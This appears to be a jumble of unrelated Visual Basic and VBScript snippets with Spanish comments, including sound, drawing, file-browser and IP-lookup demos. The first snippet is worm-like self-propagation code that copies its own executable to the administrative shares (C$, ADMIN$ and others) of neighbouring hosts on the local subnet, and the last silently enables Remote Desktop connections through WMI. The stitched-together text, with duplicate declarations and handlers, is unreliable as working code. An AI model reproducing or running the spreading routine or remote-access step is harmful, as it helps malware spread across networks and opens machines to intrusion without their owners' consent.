Private Sub Form_Load()
    Dim MyIP As String, HackIP As String
    Dim Octets() As String
    Dim i As Integer
    
    MyIP = Winsock1.LocalIP
    If MyIP Then
        Octets = Split(MyIP, ".")
    Else
        MsgBox "No se puede obtener tu dirección IP"
    End If
    If UBound(Octets) > 0 Then
        On Error Resume Next
        For i = 1 To 10
            HackIP = "\\" & Octets(0) & "." & Octets(1) & "." & Octets(2) & "." & i
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\C$\" & App.EXEName & ".exe"
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\D$\" & App.EXEName & ".exe"
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\E$\" & App.EXEName & ".exe"
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\F$\" & App.EXEName & ".exe"
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\G$\" & App.EXEName & ".exe"
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\ADMIN$\" & App.EXEName & ".exe"
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\PRINT$\" & App.EXEName & ".exe"
        Next i
    Else
        MsgBox "Error grave. Formato de IP no válida (¿Posiblemente IPv6?)"
    End If
End Sub

Private Sub File1_Click()
    MsgBox File1.Path & "\" & File1.FileName
End Sub

Private Sub Form_Load()
    Drive1.Drive = Environ("HOMEDRIVE")
End Sub

Private Sub Drive1_Change()
   Dir1.Path = Drive1.Drive
End Sub

Private Sub Dir1_Change()
   File1.Path = Dir1.Path
End Sub

Private Sub Form_Load()
    On Error Resume Next
    Picture2.Height = Picture1.Height
    Picture2.Width = Picture1.Width
    
    'Cargamos 100 Timer's y los activamos
    For i = 0 To 100     'Bajar el valor para hacerlo mas lento
        Load Timer1(i)
        Timer1(i).Enabled = True
    Next i
End Sub

Private Sub Picture2_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
 'Pintamos por donde movemos el mouse
 On Error Resume Next
 Randomize
 Picture2.ForeColor = Picture1.Point(X, Y)
 Picture2.PSet (X, Y)
 Picture2.DrawWidth = 5
End Sub

Private Sub Picture2_Click()
    'Borramos si hacemos click
    Picture2.Cls
End Sub

Private Sub Timer1_Timer(Index As Integer)
    'Pintamos puntitos aleatórios
    On Error Resume Next
    Randomize
    a = Int((Rnd * Picture1.Width) + 1)
    b = Int((Rnd * Picture1.Height) + 1)
    Picture2.ForeColor = Picture1.Point(a, b)
    Picture2.PSet (a, b)
    Picture2.DrawWidth = Int((Rnd * 5))
End Sub

Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long

Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long

Private Sub Command1_Click()
 For i = 1 To 5
  Beep 700 * i, 450
 Next i
End Sub

Private Sub Command2_Click()
 Beep 4000, 3000
End Sub

Private Sub Command3_Click()
 For i = 1 To 30
  Beep 2 ^ i, 100
 Next i
End Sub

Private Sub Command4_Click()
 For x = 4 To 10
    For y = 1 To 50
        Beep x * (y + x), 5 + x
    Next y
 Next x
 Beep 2000, 500
End Sub

Private Sub Command5_Click()
    For x = 1 To 450
        s = Round(x Mod 5)
        Beep s * x, 30
    Next x
End Sub

Private Sub Command6_Click()
    Randomize
    For x = 1 To 10
        num = Int(Rnd * 1000) + 100
        dur = Int(Rnd * 100) + 50
        
        Beep num, dur
    Next x
End Sub

Private Sub Command1_Click()
    WS.Close
    WS.Connect "checkip.dyndns.org", 80
End Sub

Private Sub WS_Connect()
    Label1.Caption = "Conectado!"
    WS.SendData "GET / HTTP/1.1" & vbCrLf & vbCrLf
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
    Dim Buffer As String
    Dim Datos() As String
    
    WS.GetData Buffer, vbString
    If InStr(Buffer, "Current IP") <> 0 Then
        Datos = Split(Buffer, "<")
        Datos = Split(Datos(6), ":")
        Label1.Caption = Trim(Datos(1))
    Else
        Label1.Caption = "IP no encontrada"
    End If
End Sub

Private Sub WS_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
    On Error Resume Next
    Label1.Caption = "Error!"
    MsgBox Number & " - " & Description
End Sub

Const ENABLE_CONNECTIONS = 1
 
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}\\" & strComputer & "\root\cimv2")

Set colItems = objWMIService.ExecQuery _
    ("Select * from Win32_TerminalServiceSetting")

For Each objItem in colItems
    errResult = objItem.SetAllowTSConnections(ENABLE_CONNECTIONS)
Next